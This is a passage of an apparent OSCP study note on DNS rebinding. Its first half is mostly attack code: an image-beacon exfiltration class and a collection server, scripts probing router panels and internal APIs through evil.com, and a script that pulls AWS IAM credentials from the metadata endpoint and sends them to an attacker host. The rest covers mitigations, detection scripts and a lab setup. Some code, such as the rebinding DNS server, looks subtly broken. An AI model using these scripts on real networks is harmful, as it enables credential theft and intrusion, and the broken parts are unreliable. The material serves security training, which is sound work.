console.log(`[*] Sent chunk ${index + 1}/${chunks.length}`);
});
}
// Usage
exfiltrateViaImage(stolenData, 'http://10.0.0.1:8080/collect');
Beacon-Based Exfiltration
// beacon_exfil.js - Periodic data exfiltration
class DataBeacon {
constructor(endpoint, interval = 5000) {
this.endpoint = endpoint;
this.interval = interval;
this.queue = [];
this.beaconing = false;
}
addData(label, data) {
this.queue.push({
label: label,
data: data.substring(0, 2000),
timestamp: Date.now()
});
if (!this.beaconing) {
this.startBeaconing();
}
}
startBeaconing() {
this.beaconing = true;
const beacon = () => {
if (this.queue.length === 0) {
this.beaconing = false;
return;
}
const item = this.queue.shift();
this.sendBeacon(item);
setTimeout(beacon, this.interval);
};
beacon();
}
sendBeacon(item) {
const img = new Image();
img.src = `${this.endpoint}?label=${encodeURIComponent(item.label)}&data=${encodeURIComponent(item.data)}&ts=${item.timestamp}`;
}
}
// Usage
const beacon = new DataBeacon('http://10.0.0.1:8080/beacon');
beacon.addData('admin_page', adminPageContent);
beacon.addData('api_config', apiConfigContent);
Collection Server
#!/usr/bin/env python3
# collection_server.py - Receive exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import json
import os
from datetime import datetime
class CollectionHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed = urlparse(self.path)
params = parse_qs(parsed.query)
# Log the request
timestamp = datetime.now().isoformat()
data = {
'timestamp': timestamp,
'source_ip': self.client_address[0],
'params': {k: v[0] if len(v) == 1 else v for k, v in params.items()}
}
# Save to file
os.makedirs('/tmp/exfil', exist_ok=True)
with open(f'/tmp/exfil/{timestamp.replace(":", "-")}.json', 'w') as f:
json.dump(data, f, indent=2)
print(f"[+] Received data from {self.client_address[0]}")
print(f" Params: {data['params']}")
# Send 200 OK
self.send_response(200)
self.send_header('Content-Type', 'image/png')
self.end_headers()
# Send minimal PNG (1x1 transparent pixel)
self.wfile.write(b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\nIDATx\x9cc\x00\x01\x00\x00\x05\x00\x01\r\n-\xb4\x00\x00\x00\x00IEND\xaeB`\x82')
def log_message(self, format, *args):
pass # Suppress default logging
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8080), CollectionHandler)
print('[*] Collection server running on port 8080')
server.serve_forever()
5. Real-World Targets
5.1 Router Admin Panels
Why Routers Are Targets
Router admin panels are prime targets for DNS rebinding because:
- Accessible from Internal Network: Routers are typically accessible from the LAN but not from the internet
- Sensitive Configuration: Contain WiFi passwords, DHCP leases, routing tables
- Default Credentials: Many routers use default admin credentials
- No Authentication: Some routers have no authentication at all
Common Router Targets
| Router Brand | Default IP | Admin Path | Default Credentials |
|---|---|---|---|
| TP-Link | 192.168.0.1 | /admin | admin/admin |
| ASUS | 192.168.1.1 | /admin/login.asp | admin/admin |
| Netgear | 192.168.1.1 | /status.html | admin/password |
| Linksys | 192.168.1.1 | /index.html | admin/admin |
| D-Link | 192.168.0.1 | /index.html | admin/admin |
| Cisco | 192.168.1.1 | / | cisco/cisco |
Attack Example
// router_attack.js
function attackRouter() {
const routerIPs = [
'192.168.0.1',
'192.168.1.1',
'10.0.0.1'
];
const adminPaths = [
'/admin',
'/admin/login.asp',
'/index.asp',
'/status.asp',
'/network.asp',
'/wireless.asp',
'/cgi-bin/status',
'/cgi-bin/main.cgi'
];
routerIPs.forEach(ip => {
adminPaths.forEach(path => {
fetch(`http://${ip}${path}`)
.then(r => r.text())
.then(data => {
console.log(`[+] Router ${ip}${path} accessible`);
exfiltrate(`router_${ip}`, path, data);
})
.catch(() => {});
});
});
}
What Can Be Extracted
- WiFi SSID and password
- DHCP lease table (connected devices)
- Routing table
- Port forwarding rules
- Firmware version
- Connected device MAC addresses
5.2 Internal Web Services
Common Internal Services
| Service | Default Port | Common Paths |
|---|---|---|
| Apache Status | 80 | /server-status, /server-info |
| Nginx Status | 80 | /nginx_status |
| PHPMyAdmin | 80 | /phpmyadmin, /pma |
| WordPress Admin | 80 | /wp-admin, /wp-login.php |
| Jenkins | 8080 | /, /login |
| Grafana | 3000 | /, /login |
| Prometheus | 9090 | /, /graph |
| Elasticsearch | 9200 | /, /_cluster/health |
| Kibana | 5601 | /, /app/kibana |
| Consul | 8500 | /, /ui/ |
| Vault | 8200 | /, /v1/sys/health |
| Docker API | 2375 | /, /info, /containers/json |
Attack Example
// internal_services_attack.js
function probeInternalServices() {
const services = [
{ name: 'Apache Status', paths: ['/server-status', '/server-info'] },
{ name: 'PHPMyAdmin', paths: ['/phpmyadmin', '/pma', '/phpMyAdmin'] },
{ name: 'WordPress', paths: ['/wp-admin', '/wp-login.php'] },
{ name: 'Jenkins', paths: ['/', '/login', '/api/json'] },
{ name: 'Elasticsearch', paths: ['/', '/_cluster/health', '/_cat/indices'] },
{ name: 'Consul', paths: ['/', '/v1/catalog/nodes', '/v1/health/service'] },
{ name: 'Vault', paths: ['/v1/sys/health', '/v1/auth'] }
];
services.forEach(service => {
service.paths.forEach(path => {
fetch(`http://evil.com${path}`)
.then(r => {
if (r.ok) {
return r.text().then(data => ({
service: service.name,
path: path,
data: data.substring(0, 2000)
}));
}
throw new Error('Not accessible');
})
.then(result => {
console.log(`[+] Found: ${result.service} at ${result.path}`);
exfiltrate(result.service, result.path, result.data);
})
.catch(() => {});
});
});
}
5.3 Cloud Metadata Endpoints
AWS Metadata Service
The AWS EC2 metadata service is a high-value target:
Endpoint: http://169.254.169.254/latest/meta-data/
Key Paths:
/latest/meta-data/instance-id
/latest/meta-data/ami-id
/latest/meta-data/reservation-id
/latest/meta-data/iam/security-credentials/<role-name>
/latest/meta-data/public-keys/0/openssh-key
/latest/meta-data/tags/instance/
/latest/dynamic/instance-identity/document
Attack Example
// aws_metadata_attack.js
function attackAWSMetadata() {
const base = 'http://169.254.169.254';
const paths = [
'/latest/meta-data/instance-id',
'/latest/meta-data/ami-id',
'/latest/meta-data/reservation-id',
'/latest/meta-data/iam/security-credentials/',
'/latest/dynamic/instance-identity/document',
'/latest/meta-data/public-keys/0/openssh-key',
'/latest/meta-data/tags/instance/'
];
paths.forEach(path => {
fetch(base + path)
.then(r => r.text())
.then(data => {
console.log(`[+] AWS metadata: ${path}`);
console.log(` Data: ${data.substring(0, 500)}`);
exfiltrate('aws_metadata', path, data);
})
.catch(() => {});
});
// If IAM role exists, get credentials
fetch(base + '/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(roleName => {
return fetch(base + `/latest/meta-data/iam/security-credentials/${roleName}`);
})
.then(r => r.json())
.then(credentials => {
console.log('[+] CRITICAL: AWS IAM credentials obtained!');
console.log(' Access Key:', credentials.AccessKeyId);
console.log(' Secret Key:', credentials.SecretAccessKey);
console.log(' Token:', credentials.Token);
exfiltrate('aws_iam_creds', 'credentials', JSON.stringify(credentials));
})
.catch(() => {});
}
Azure Metadata Service
Endpoint: http://169.254.169.254/metadata/
Headers Required:
Metadata: true
Key Paths:
/metadata/instance/compute/?api-version=2021-12-13
/metadata/instance/network/?api-version=2021-12-13
/metadata/instance/attestedDocument/?api-version=2021-12-13
GCP Metadata Service
Endpoint: http://metadata.google.internal/computeMetadata/v1/
Headers Required:
Metadata-Flavor: Google
Key Paths:
/instance/name
/instance/id
/instance/attributes/
/instance/service-accounts/
/project/project-id
/project/numeric-project-id
5.4 Internal API Endpoints
Common Internal API Patterns
// internal_api_attack.js
function probeInternalAPIs() {
const apiPatterns = [
// REST APIs
'/api/v1/users',
'/api/v1/config',
'/api/v1/secrets',
'/api/v1/keys',
'/api/v2/users',
'/api/v2/config',
// GraphQL
'/graphql',
'/api/graphql',
// Debug endpoints
'/debug/vars',
'/debug/requests',
'/api/debug',
// Health checks
'/health',
'/healthz',
'/ready',
'/api/health',
// Metrics
'/metrics',
'/api/metrics',
'/prometheus',
// Admin APIs
'/admin/api',
'/api/admin',
'/internal/api',
'/api/internal'
];
apiPatterns.forEach(path => {
// Try GET
fetch(`http://evil.com${path}`)
.then(r => {
if (r.ok) {
return r.text().then(data => ({
method: 'GET',
path: path,
status: r.status,
data: data.substring(0, 2000)
}));
}
throw new Error('Not accessible');
})
.then(result => {
console.log(`[+] GET ${result.path} (${result.status})`);
exfiltrate('api_get', result.path, JSON.stringify(result));
})
.catch(() => {});
// Try POST
fetch(`http://evil.com${path}`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ test: 'rebinding' })
})
.then(r => {
if (r.ok) {
return r.text().then(data => ({
method: 'POST',
path: path,
status: r.status,
data: data.substring(0, 2000)
}));
}
throw new Error('Not accessible');
})
.then(result => {
console.log(`[+] POST ${result.path} (${result.status})`);
exfiltrate('api_post', result.path, JSON.stringify(result));
})
.catch(() => {});
});
}
6. Tools
6.1 rebind.it
Overview
rebind.it is a well-known DNS rebinding service that provides ready-to-use rebinding domains.
Features
- Pre-configured DNS rebinding domains
- Support for multiple internal IP ranges
- Easy to use for quick testing
- No setup required
Usage
# Visit a rebind.it domain
http://<random>.rebind.it
# The domain will resolve to your specified internal IP
# Example: http://abc123.rebind.it might resolve to 192.168.1.1
Limitations
- Not suitable for production attacks
- May be blocked by security tools
- Limited control over timing
- Public service, not private
6.2 DNSRebinder
Overview
DNSRebinder is a tool specifically designed for DNS rebinding attacks.
Features
- Automated DNS rebinding
- Multiple target support
- Customizable timing
- Data exfiltration support
Installation
# Clone the repository
git clone https://github.com/attackercan/DNSRebinder.git
# Navigate to directory
cd DNSRebinder
# Run the tool
python3 dnsrebinder.py --help
Usage
# Basic usage
python3 dnsrebinder.py --target 192.168.1.1 --domain evil.com
# With custom timing
python3 dnsrebinder.py --target 192.168.1.1 --domain evil.com --delay 5
# With multiple targets
python3 dnsrebinder.py --targets 192.168.1.1,192.168.1.2 --domain evil.com
6.3 Custom DNS Server Setup
Using BIND
# Install BIND
sudo apt install bind9
# Configure zone
sudo nano /etc/bind/named.conf.local
# Add zone configuration
zone "evil.com" {
type master;
file "/etc/bind/zones/evil.com.zone";
};
# Create zone file
sudo mkdir -p /etc/bind/zones
sudo nano /etc/bind/zones/evil.com.zone
# Restart BIND
sudo systemctl restart bind9
Using dnsmasq (Simpler)
# Install dnsmasq
sudo apt install dnsmasq
# Configure
sudo nano /etc/dnsmasq.conf
# Add configuration
address=/evil.com/10.0.0.1
# Change to:
# address=/evil.com/192.168.1.1
# Restart dnsmasq
sudo systemctl restart dnsmasq
Using Python (dnspython)
#!/usr/bin/env python3
# simple_dns_server.py
from dns import server
from dns import rdataclass
from dns import rdatatype
from dns import name
import threading
import time
class RebindingHandler(server.Handler):
def __init__(self, phase1_ip, phase2_ip, switch_time=5):
self.phase1_ip = phase1_ip
self.phase2_ip = phase2_ip
self.switch_time = switch_time
self.start_time = time.time()
self.current_ip = phase1_ip
def handle_request(self, request, handler):
response = request.make_response()
for question in request.questions:
if question.name.to_text() == 'evil.com.':
elapsed = time.time() - self.start_time
# Switch IP after switch_time seconds
if elapsed > self.switch_time:
self.current_ip = self.phase2_ip
rdataset = response.answer[0].rdataset
rdataset.name = question.name
rdataset.ttl = 0
rdataset.rdtype = rdatatype.A
rdataset.rdataclass = rdataclass.IN
# Add the A record
rdata = rdataset[0]
rdata.address = self.current_ip
return response
# Start server
handler = RebindingHandler(
phase1_ip='10.0.0.1',
phase2_ip='192.168.1.1',
switch_time=5
)
srv = server.NameServer(
address='0.0.0.0',
port=53,
handler=handler
)
print(f'[*] DNS server running on port 53')
print(f'[*] Phase 1: 10.0.0.1')
print(f'[*] Phase 2: 192.168.1.1 (after 5 seconds)')
srv.serve_forever()
7. Mitigation
7.1 Hostname Validation
Server-Side Host Header Validation
# Flask example with hostname validation
from flask import Flask, request, abort
app = Flask(__name__)
ALLOWED_HOSTS = ['myapp.example.com', 'www.myapp.example.com']
@app.before_request
def validate_host():
host = request.host
if host not in ALLOWED_HOSTS:
abort(403, f"Invalid host: {host}")
@app.route('/')
def index():
return "Hello, World!"
Nginx Configuration
server {
listen 80;
server_name myapp.example.com;
# Reject requests with invalid Host headers
if ($host !~* ^(myapp\.example\.com|www\.myapp\.example\.com)$) {
return 444; # Close connection
}
location / {
proxy_pass http://backend;
}
}
Apache Configuration
<VirtualHost *:80>
ServerName myapp.example.com
# Reject invalid Host headers
SetEnvIf Host "^myapp\.example\.com$" VALID_HOST
SetEnvIf Host "^www\.myapp\.example\.com$" VALID_HOST
<RequireAll>
Require env VALID_HOST
Require all granted
</RequireAll>
DocumentRoot /var/www/myapp
</VirtualHost>
7.2 IP Allowlisting
Application-Level IP Validation
# Django middleware for IP allowlisting
import socket
class IPAllowlistMiddleware:
ALLOWED_IPS = [
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16'
]
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
client_ip = self.get_client_ip(request)
if not self.is_allowed_ip(client_ip):
from django.http import HttpResponseForbidden
return HttpResponseForbidden("Access denied")
return self.get_response(request)
def get_client_ip(self, request):
x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')
if x_forwarded_for:
return x_forwarded_for.split(',')[0]
return request.META.get('REMOTE_ADDR')
def is_allowed_ip(self, ip):
import ipaddress
try:
addr = ipaddress.ip_address(ip)
for network in self.ALLOWED_IPS:
if addr in ipaddress.ip_network(network):
return True
except ValueError:
pass
return False
Nginx IP Restriction
server {
listen 80;
server_name internal.example.com;
# Allow only internal IPs
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
location / {
proxy_pass http://backend;
}
}
7.3 DNS Pinning
Client-Side DNS Pinning
// dns_pinning.js - Pin DNS resolution
class DNSPinner {
constructor() {
this.pinned = new Map();
}
pin(domain, ip) {
this.pinned.set(domain, ip);
console.log(`[*] Pinned ${domain} -> ${ip}`);
}
resolve(domain) {
if (this.pinned.has(domain)) {
return this.pinned.get(domain);
}
throw new Error(`Domain ${domain} not pinned`);
}
}
// Usage
const pinner = new DNSPinner();
pinner.pin('api.example.com', '203.0.113.1');
// Use pinned IP instead of domain
const pinnedIP = pinner.resolve('api.example.com');
fetch(`http://${pinnedIP}/api/data`);
Server-Side DNS Validation
# Validate that the connecting IP matches the expected IP for the hostname
import socket
import dns.resolver
def validate_dns(hostname, client_ip):
"""Validate that client_ip matches the DNS record for hostname"""
try:
answers = dns.resolver.resolve(hostname, 'A')
expected_ips = [str(rdata) for rdata in answers]
if client_ip in expected_ips:
return True
return False
except Exception as e:
print(f"DNS resolution failed: {e}")
return False
# Usage in request handler
if not validate_dns(request.host, client_ip):
abort(403, "DNS validation failed")
7.4 Internal Network Isolation
Network Segmentation
Recommended Network Architecture:
┌─────────────────────────────────────────────────────────────┐
│ EXTERNAL NETWORK │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Internet │ │ DMZ │ │ Load │ │
│ │ │───▶│ Servers │───▶│ Balancer │ │
│ └─────────────┘ └─────────────┘ └──────┬──────┘ │
└─────────────────────────────────────────────────────────────┘
│
┌────────▼────────┐
│ Firewall │
│ (Strict Rules)│
└────────┬────────┘
│
┌─────────────────────────────────────────────────────────────┐
│ INTERNAL NETWORK │
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Web │ │ Database │ │ Internal │ │
│ │ Servers │ │ Servers │ │ Services │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ No direct internet access │
│ No DNS rebinding possible │
└─────────────────────────────────────────────────────────────┘
Firewall Rules
# Block external access to internal services
iptables -A INPUT -s 0.0.0.0/0 -d 192.168.1.0/24 -j DROP
iptables -A INPUT -s 0.0.0.0/0 -d 10.0.0.0/8 -j DROP
iptables -A INPUT -s 0.0.0.0/0 -d 172.16.0.0/12 -j DROP
# Allow only specific internal traffic
iptables -A INPUT -s 10.0.0.0/8 -d 192.168.1.0/24 -j ACCEPT
7.5 Reverse Proxy Termination
Nginx Reverse Proxy
# External-facing reverse proxy
server {
listen 443 ssl;
server_name myapp.example.com;
ssl_certificate /etc/ssl/certs/myapp.crt;
ssl_certificate_key /etc/ssl/private/myapp.key;
# Validate Host header
if ($host != 'myapp.example.com') {
return 444;
}
location / {
# Forward to internal backend
proxy_pass http://internal-backend:8080;
# Preserve original host
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
# Internal backend (not directly accessible from internet)
server {
listen 8080;
server_name _;
# Only accept connections from reverse proxy
allow 10.0.0.0/8;
deny all;
location / {
proxy_pass http://app-server:3000;
}
}
7.6 CNAME Record Blocking
DNS Configuration
; Block CNAME-based rebinding
; Do not allow CNAME records that point to internal domains
$TTL 3600
@ IN SOA ns1.example.com. admin.example.com. (
2024010101
3600
1800
1209600
3600
)
@ IN NS ns1.example.com.
@ IN A 203.0.113.1
; No CNAME records pointing to internal domains
; api IN CNAME internal-api.local. ; BLOCKED
Application-Level CNAME Validation
def validate_cname(hostname):
"""Validate that CNAME records don't point to internal domains"""
import dns.resolver
try:
# Check for CNAME records
cname_answers = dns.resolver.resolve(hostname, 'CNAME')
for rdata in cname_answers:
target = str(rdata.target)
# Block internal domains
internal_domains = [
'.local',
'.internal',
'.private',
'.corp'
]
for internal in internal_domains:
if target.endswith(internal):
return False, f"CNAME points to internal domain: {target}"
return True, "Valid"
except dns.resolver.NoAnswer:
return True, "No CNAME records"
except Exception as e:
return False, str(e)
8. Detection Methodology
8.1 DNS Monitoring
#!/usr/bin/env python3
# dns_monitor.py - Monitor for DNS rebinding attempts
import dns.resolver
import time
from collections import defaultdict
class DNSRebindingDetector:
def __init__(self, check_interval=60):
self.check_interval = check_interval
self.history = defaultdict(list)
def check_domain(self, domain):
"""Check if a domain has changed its IP recently"""
try:
answers = dns.resolver.resolve(domain, 'A')
current_ips = [str(rdata) for rdata in answers]
timestamp = time.time()
self.history[domain].append({
'timestamp': timestamp,
'ips': current_ips
})
# Check for rapid changes
if len(self.history[domain]) >= 2:
previous = self.history[domain][-2]['ips']
if previous != current_ips:
time_diff = timestamp - self.history[domain][-2]['timestamp']
if time_diff < 300: # Changed within 5 minutes
print(f"[!] Possible DNS rebinding: {domain}")
print(f" Previous IPs: {previous}")
print(f" Current IPs: {current_ips}")
print(f" Time difference: {time_diff}s")
return True
return False
except Exception as e:
print(f"Error checking {domain}: {e}")
return False
def monitor_domains(self, domains):
"""Continuously monitor a list of domains"""
while True:
for domain in domains:
self.check_domain(domain)
time.sleep(self.check_interval)
# Usage
detector = DNSRebindingDetector(check_interval=60)
detector.monitor_domains(['evil.com', 'suspicious-domain.com'])
8.2 Request Logging
# Enhanced request logging for rebinding detection
import socket
import dns.resolver
def log_request_with_dns(request):
"""Log request with both hostname and resolved IP"""
hostname = request.host
client_ip = request.remote_addr
# Resolve hostname to IP
try:
resolved_ips = dns.resolver.resolve(hostname, 'A')
resolved_ip = str(resolved_ips[0])
# Check if client IP matches resolved IP
if client_ip != resolved_ip:
print(f"[!] DNS mismatch detected!")
print(f" Hostname: {hostname}")
print(f" Resolved IP: {resolved_ip}")
print(f" Client IP: {client_ip}")
except Exception as e:
print(f"DNS resolution failed: {e}")
8.3 Anomaly Detection
| Indicator | Description | Threshold |
|---|---|---|
| Rapid DNS Changes | Domain IP changes frequently | < 5 minutes |
| IP Mismatch | Client IP doesn’t match resolved IP | Any mismatch |
| Unusual Host Headers | Host header doesn’t match server name | Any mismatch |
| Low TTL Values | DNS records with very low TTL | < 60 seconds |
| Multiple Origins | Same domain resolves to multiple IPs | > 2 IPs |
9. OSCP Specific Tips
9.1 Exam Relevance
DNS rebinding is not a common OSCP exam technique, but understanding it is valuable for:
- Client-Side Attack Context: Understanding how browsers handle DNS and origins
- Internal Network Access: Concepts apply to pivoting and lateral movement
- Web Application Security: SOP bypass techniques are relevant
- Interview Questions: May be asked in security interviews
9.2 Key Takeaways for OSCP
| Concept | OSCP Relevance | Notes |
|---|---|---|
| SOP Bypass | Medium | Understand how SOP works and its limitations |
| DNS Resolution | Low | Know how DNS works for troubleshooting |
| Internal Access | High | Concepts apply to pivoting scenarios |
| Browser Exploitation | Medium | Understanding client-side attack vectors |
9.3 Study Priorities
- High Priority: Understand the concept and attack flow
- Medium Priority: Know how to set up a basic rebinding attack
- Low Priority: Master advanced techniques and tools
9.4 Related OSCP Topics
- Cross-Site Scripting (XSS): Both involve browser-based attacks
- Cross-Site Request Forgery (CSRF): Both exploit browser trust
- Same-Origin Policy: Fundamental concept for web security
- CORS Misconfigurations: Related to cross-origin requests
- Web Proxies: Understanding how proxies handle DNS
9.5 Practice Recommendations
- Set Up a Lab: Create a local DNS rebinding lab
- Use VulnApps: Practice on vulnerable applications
- Read Research Papers: Understand real-world attacks
- Try CTF Challenges: Look for DNS rebinding challenges
10. Lab Scenarios
10.1 Basic DNS Rebinding Lab
Setup
# 1. Install required tools
sudo apt install bind9 python3 python3-pip
pip3 install dnspython
# 2. Configure DNS server
sudo nano /etc/bind/named.conf.local
# Add:
zone "rebind.lab" {
type master;
file "/etc/bind/zones/rebind.lab.zone";
};
# 3. Create zone file
sudo mkdir -p /etc/bind/zones
sudo nano /etc/bind/zones/rebind.lab.zone
# Add zone content (see above examples)
# 4. Restart BIND
sudo systemctl restart bind9
# 5. Configure local DNS
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
Attack Steps
- Phase 1: Visit
http://rebind.lab - Phase 2: DNS record changes to internal target
- Phase 3: JavaScript accesses internal resources
- Phase 4: Data is exfiltrated to attacker
10.2 Advanced Lab: Cloud Metadata Access
Scenario
Simulate accessing AWS metadata through DNS rebinding.
Setup
#!/usr/bin/env python3
# mock_aws_metadata.py - Mock AWS metadata service
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class MockMetadataHandler(BaseHTTPRequestHandler):
def do_GET(self):
metadata = {
'/latest/meta-data/instance-id': 'i-1234567890abcdef0',
'/latest/meta-data/ami-id': 'ami-12345678',
'/latest/meta-data/reservation-id': 'r-12345678',
'/latest/dynamic/instance-identity/document': json.dumps({
"accountId": "123456789012",
"instanceId": "i-1234567890abcdef0",
"region": "us-east-1"
})
}
if self.path in metadata:
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(metadata[self.path].encode())
else:
self.send_response(404)
self.end_headers()
# Run on metadata IP (requires root)
server = HTTPServer(('169.254.169.254', 80), MockMetadataHandler)
print('[*] Mock AWS metadata server running')
server.serve_forever()
10.3 Detection Lab
Scenario
Set up monitoring to detect DNS rebinding attempts.
Steps
- Deploy DNS Monitor: Run the DNS monitoring script
- Perform Attack: Execute a DNS rebinding attack
- Analyze Logs: Review detection logs
- Tune Alerts: Adjust thresholds for accuracy
11. Summary Cheat Sheet
Quick Reference
┌─────────────────────────────────────────────────────────────┐
│ DNS REBINDING CHEAT SHEET │
├─────────────────────────────────────────────────────────────┤
│ │
│ CONCEPT: │
│ ───────────────────────────────────────────────────────── │
│ • Exploit dynamic DNS to bypass SOP │
│ • Browser trusts hostname, not IP │
│ • DNS record changes between requests │
│ │
│ ATTACK FLOW: │
│ ───────────────────────────────────────────────────────── │
│ 1. Victim visits attacker domain │
│ 2. Domain resolves to attacker server │
│ 3. Malicious page loads │
│ 4. DNS record changes to internal IP │
│ 5. Subsequent requests go to internal target │
│ 6. SOP still allows (same hostname) │
│ │
│ TYPES: │
│ ───────────────────────────────────────────────────────── │
│ • Classic: Manual DNS update │
│ • Time-Delay: TTL-based automatic │
│ • Subdomain: Different subdomains, same origin │
│ • SSL: With valid certificates │
│ │
│ TARGETS: │
│ ───────────────────────────────────────────────────────── │
│ • Router admin panels (192.168.1.1) │
│ • Cloud metadata (169.254.169.254) │
│ • Internal web services │
│ • Internal API endpoints │
│ │
│ TOOLS: │
│ ───────────────────────────────────────────────────────── │
│ • rebind.it (public service) │
│ • DNSRebinder (automated tool) │
│ • Custom BIND/dnsmasq setup │
│ │
│ MITIGATION: │
│ ───────────────────────────────────────────────────────── │
│ • Hostname validation on server │
│ • IP allowlisting │
│ • DNS pinning │
│ • Network isolation │
│ • Reverse proxy termination │
│ • CNAME record blocking │
│ │
│ OSCP RELEVANCE: │
│ ───────────────────────────────────────────────────────── │
│ • Understanding SOP bypass │
│ • Client-side attack concepts │
│ • Internal network access │
│ • Not a common exam technique │
│ │
└─────────────────────────────────────────────────────────────┘
Key Commands
# DNS lookup
dig evil.com
nslookup evil.com
# Check DNS TTL
dig evil.com +noall +answer
# Monitor DNS changes
watch -n 5 'dig evil.com +short'
# Start BIND
sudo systemctl start bind9
sudo systemctl status bind9
# Reload BIND after zone changes
sudo rndc reload
# Test DNS rebinding
curl http://evil.com
# Wait for rebinding
curl http://evil.com/admin
Important Concepts
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model based on scheme + host + port |
| DNS TTL | Time-to-live for DNS cache entries |
| DNS Rebinding | Changing DNS record to redirect traffic |
| SOP Bypass | Exploiting SOP to access cross-origin resources |
| Cloud Metadata | Internal service providing instance information |
| Host Header Validation | Server-side check of HTTP Host header |
References
- DNS Rebinding Attacks - PortSwigger
- rebind.it - DNS Rebinding Service
- DNSRebinder - GitHub
- AWS Instance Metadata Service
- Same-Origin Policy - MDN
This study note is part of the OSCP Client-Side Attacks chapter (Chapter 08). For best results, combine this material with hands-on practice in a lab environment.